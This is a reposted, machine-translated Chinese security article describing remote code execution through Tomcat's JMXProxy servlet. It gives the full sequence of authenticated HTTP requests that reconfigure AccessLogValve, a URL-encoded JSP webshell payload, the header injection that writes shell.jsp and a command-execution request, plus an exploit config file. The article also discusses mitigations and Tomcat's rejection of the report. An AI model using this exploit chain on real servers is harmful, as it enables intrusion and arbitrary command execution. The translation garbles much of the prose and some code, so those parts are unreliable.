Tomcat
jar
部署的SpringBoot
Tomcat
报告并使用上千字来描述发现利用方式和危害性Tomcat
官方认为这不是安全漏洞,如果能够利用,完全应该由用户来负责Tomcat
一直存在一个“漏洞”的漏洞:导致不是Tomcat Manager
上传war
解压生成webshell
的RCE
tomcat/conf/tomcat-users.xml
配置中<用户用户 名= “管理员” 密码= “<必须更改>” 角色= “经理-gui” />
/manager/html
输入用户名和密码,自动在里面上传war
进行部署Tomcat
负责,应该由用户保证自己的账号和密码安全Tomcat
Manager
为的管理采用了作者名作HTTP Basic
认证,也就是用户名作认证后的Base64
保护。Tomcat
已经考虑到这个问题:参考LockOutRealm
类的代码,默认在输入错误5次后会锁定5分钟。这Tomcat
也是官方拒绝该漏洞的原因之一,他们认为基于JMXProxy
实现的RCE
攻击和类似的,由用户负责安全public class LockOutRealm extends CombinedRealm { /** * 用户连续认证失败的次数 * 被锁定。默认为 5。 */ protected int failureCount = 5 ; /** * 身份验证失败次数 过多后用户被锁定的时间(以秒为单位) 。默认为 300(5 分钟)。 */ 受保护的 int lockOutTime = 300 ; }
Tomcat
支持管理页面,同时支持API
和家具JMXProxy
API
可能无法访问导致P严重的安全问题(和牛聊天提到点,在某次CTF中出现)API
的方式是:http://{host}:{port}/manager/text/{command}?{parameters}
API
包WAR
:http://localhost:8080/manager/text/deploy?path=/footoo&war=file:/path/to/foo
JMXProxy
是RCE
本文的重点内容JMXProxy
仅用于发现什么安全问题,因为官方描述中该功能监控JMX
与Tomcat
特殊情况,在Java
官方文档中JMX
适用于:Java Management Extensions
)是一个为任何应用程序用户管理功能的框架。JMX
是标准的代理和服务,实际上,可以在Java
应用程序中使用代理和服务实现管理JMX
让程序的,那么例如某Web
网站是在24小时内有功能进行管理的,并且是对网站进行管理的;或者在业务高峰的过程中,想对网站进行管理,就可以了必须修改接口的配置值JMX
会通过Adapter
实现Web
管理页面,例如Zabbix
和Nagios
其他工具JVM
的监控实现,老一些的平台JDMK
和MX4J
等┌──────────┐ ┌──────────┐ │jconsole │ │ 网页 │ └──────────┘ └──────────┘ │ │┌ ─ ─ ─ ─│─ ─ ─ ─ ─ ─ ┼ ─ ─ ─ ─ JVM ▼ ▼ ││ ┌─────────┐ ┌──────────┐ ┌─┤连接器├──┤适配器├─┐ ││ │ └─────────┘ └──────────┘ │ │ MBeanServer │ ││ │ ┌──────┐┌──────┐┌──────┐ │ └─┤MBean1├┤MBean2├┤MBean3├─┘ ││ └──────┘└──────┘└──────┘ ── ── ── ── ── ── ── ── ── ── ── ─ ── ┘
MX4J
平台ClassLoading
属性观察:监控到类的属性,并且修改部分值可以在运行时进行JMX
管理页面,我们可以实时修改大量JVM
内部的一些属性JMX
变化RCE
是通过比较研究来比较研究的Tomcat Manager
中还有一种特殊的礼仪管理:JMX Proxy Servlet
JMX Proxy Servlet
是一个量级级别,用于和设置Tomcat
内部或任何MBean
公开的。它的不是非常友好,但已经可以通过使用监控类访问界面以监视和更改Tomcat
的内部使用非常有帮助。做两件事:信息和设置信息。要真正了解 JMX Proxy Servlet,你应该对 JMX 有一个了解这个大致了解的词。如果你不知道 JMX 是什么,那么请准备好被迷惑(不知道怎么confused
解释用迷惑了)JMX
的描述能力,用户可能不说可能的问题,应该是通过对概念Tomcat
给出JMX
的,而一般不是直接手动提供的管理,而是会选择或者通过平台进行管理,正则是这个原因导致该漏洞有实际的危害Agent
API
http://webserver/manager/jmxproxy/?get=java.lang:type=Memory&att=HeapMemoryUsage
好的 - 属性获取 'java.lang:type=Memory' - HeapMemoryUsage = javax.management.openmbean.CompositeDataSupport// ......内容={提交=308281344,初始化=534773760,最大值=7602176000,使用=106332232})
JVM
属性也可以修改JVM
中的一些属性,例如JMX
情节篇中提到的一个场景:JMXProxy
中也提供了修改一些变量的方法http://webserver/manager/jmxproxy/?set=BEANNAME&att=MYATTRIBUTE&val=NEWVALUE
BEANNAME
(类似的类名)http://webserver/manager/jmxproxy/?invoke=BEANNAME&op=方法名&ps=参数
JMXProxy
提供Tomcat
的JMX
接口给平台分析和管理Tomcat
支持内部部分变量的修改用于Tomcat
的JMXProxy
如何实现RCE
JMXProxy
支持修改的属性被修改后可以修改RCE
Spring RCE
有似有似无的师傅应该第一眼看到出来)JXMProxy
信息如下,重点关注属性:名称:Catalina:type=Valve,host=localhost,name=AccessLogValvemodelerType:org.apache.tomcat.util.modeler.BaseModelMBean可旋转:真检查存在:假前缀:localhost_access_log模式:%h %l %u %t "%r" %s %b类名:org.apache.catalina.valves.AccessLogValve语言环境:zh_CN后缀:.txt目录:日志启用:真状态名称:已开始缓冲:真异步支持:真重命名旋转:假文件日期格式:.yyyy-MM-dd
RCE
路线就很简单了RCE
的思路如下:%{header}i
从请求头中提取<%
等特殊符号webapps/ROOT
rotate
创建新文件,写入JSP
马Webshell
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=pattern&val=%25%7b%70%7d%69%20%52%75%6e%74%69%6d% 65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65% 73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%29%3b%20% 25%7b%73%7d%69 HTTP / 1.1主机: 127.0.0.1 :8080连接: 关闭授权: 基本 BASE64(用户名:密码)
val
参数为所有的URL
编码%{ p } i 运行时。获取运行时间()。exec ( request.getParameter ( " cmd " )); % { }我
p
和s
中获取GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=suffix&val=.jsp HTTP / 1.1 Host : 127.0.0.1:8080 Connection : close Authorization : Basic BASE64(username:password)
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=prefix&val=shell HTTP / 1.1主机: 127.0.0.1 :8080连接: 关闭授权: 基本 BASE64(用户名:密码)
JSP
的目录:webapps/ROOT
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=directory&val=webapps/ROOT HTTP / 1.1 Host : 127.0.0.1:8080 Connection : close Authorization : Basic BASE64(username:password)
AccessLogValve
的rotate
功能log
日志记录信息的第一行调用rotate
方法公共 无效 日志(CharArrayWriter 消息) { 旋转(); // ... }
rotate
方法public void rotate () { // ... String tsDate ; // 检查日期的变化 tsDate = fileDateFormatter . 格式(新 日期(系统时间)); // 如果日期改变了,切换日志文件 if (! dateStamp .equals ( tsDate ) ) { close ( true ) ; dateStamp = tsDate ; 打开();} // ... }
open
方法如果新的fileDateFormatter
不同则FileOutputStream
写入新文件protected synchronized void open () { // 打开当前日志文件 // 如果没有旋转 - 文件名中不需要 dateStamp 文件 pathname = getLogFile ( rotatable && ! renameOnRotate ); // ... writer = new PrintWriter ( new BufferedWriter ( new OutputStreamWriter ( new FileOutputStream ( pathname , true ), charset ), 128000 ), false ); // ... }
prefix
和sufix
的外表private File getLogFile ( boolean useDateStamp ) { // ... File dir = getDirectoryFile (); // ... pathname = new File ( dir .getAbsoluteFile (), prefix + suffix ) ; // ...返回路径名; }
Payload
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=fileDateFormat&val= HTTP / 1.1主机: 127.0.0.1 :8080连接: 关闭授权: 基本 BASE64(用户名:密码)
p
和s
请求头的请求,成功写入语句GET / HTTP / 1.1主机: 127.0.0.1 :8080连接: 关闭p : <% s : %>//
GET /shell.jsp?cmd=calc.exe HTTP / 1.1主机: 127.0.0.1 :8080连接: 关闭
RCE
成功但是:需要有基础认证才能触发漏洞RCE
手段,有必要研究一下实际的利用Manager
弱弱的女生,这个没有讨论的必要性JMXProxy
JMXProxy
提供的类似假设API
是基于一个假设JMXProxy
可以修改AccessLogValve
属性同样可以RCE
JMXProxy
目标,就可以实现数据智能(监控RCE
上图)实现Java
的Web
服务,9%的人在Tomcat
出现下面9个不开多写了Apache Tomcat
:只有受到保护而不受保护manager-gui
CSRF
JMX
HTML 界面受到 CSRF(跨站请求伪造)攻击的保护但是无法保护文本和 JMX 接口。
CSRF
被CSRF+XSS
利用JMX
GET
XSS
的情况下,容易利用Tomcat
官方建议的修复方案是:JMXProxy
存在RCE
的安全风险AccessLogValve
属性的修改或者设置为对世界的毁灭suffix
为.jsp
等可被解析执行的后缀Tomcat
官方并没有采纳,他们不认为这是漏洞manager-jmx
功能设置强密码MX4J
等平台对JMX
未进行管理,检查是否可以授权Tomcat
的JMX
管理功能,应该对AccessLogValve
属性进行限制tomcat/conf/tomcat-users.xml
配置中<用户用户 名= “admin” 密码= “123456” 角色= “manager-jmx” />
config.ini
利用文件,然后随时可以复现#目标ip主机= 127.0.0.1 #目标端口port = 8080 #目标tomcat jmxproxy用户名username = admin #目标tomcat jmxproxy密码密码= 123456 #执行命令cmd = calc.exe
EXP
程序:./tomcat-jmxproxy-rce-exp
Tomcat
危害Tomcat
RCE CVE
manager
功能,默认Tomcat
中为关闭的manager/jmxproxy
到公网Tomcat
已经LockOutRealm
可以防御Tomcat
原因,但他们没有考虑到平台的影响和后果Tomcat Session RCE
条件同样高,甚至需要根据文件上传漏洞,实战价值未必大JMXProxy
漏洞虽然有限制条件,但在整个漏洞利用该限制条件时可以被视为链中的Tomcat Session RCE
在实战中遭遇,或者是极端小英雄,但是你们认可JMX
平台未授权造成RCE
的案例有很多Tomcat
的manager-gui
是最高权限,可以直接启动停止和部署战包manager-jmx
监控和权限较低,实际上只能修改部分变量manager-jmx
(例如RCE
)达到manager-gui
能够做的事情,这是否可以认为是一种漏洞?Tomcat
的报告这样来写,会不会得到认可?来源:先知(https://xz.aliyun.com/t/11450#toc-0)
如有侵权,请联系删除
好文推荐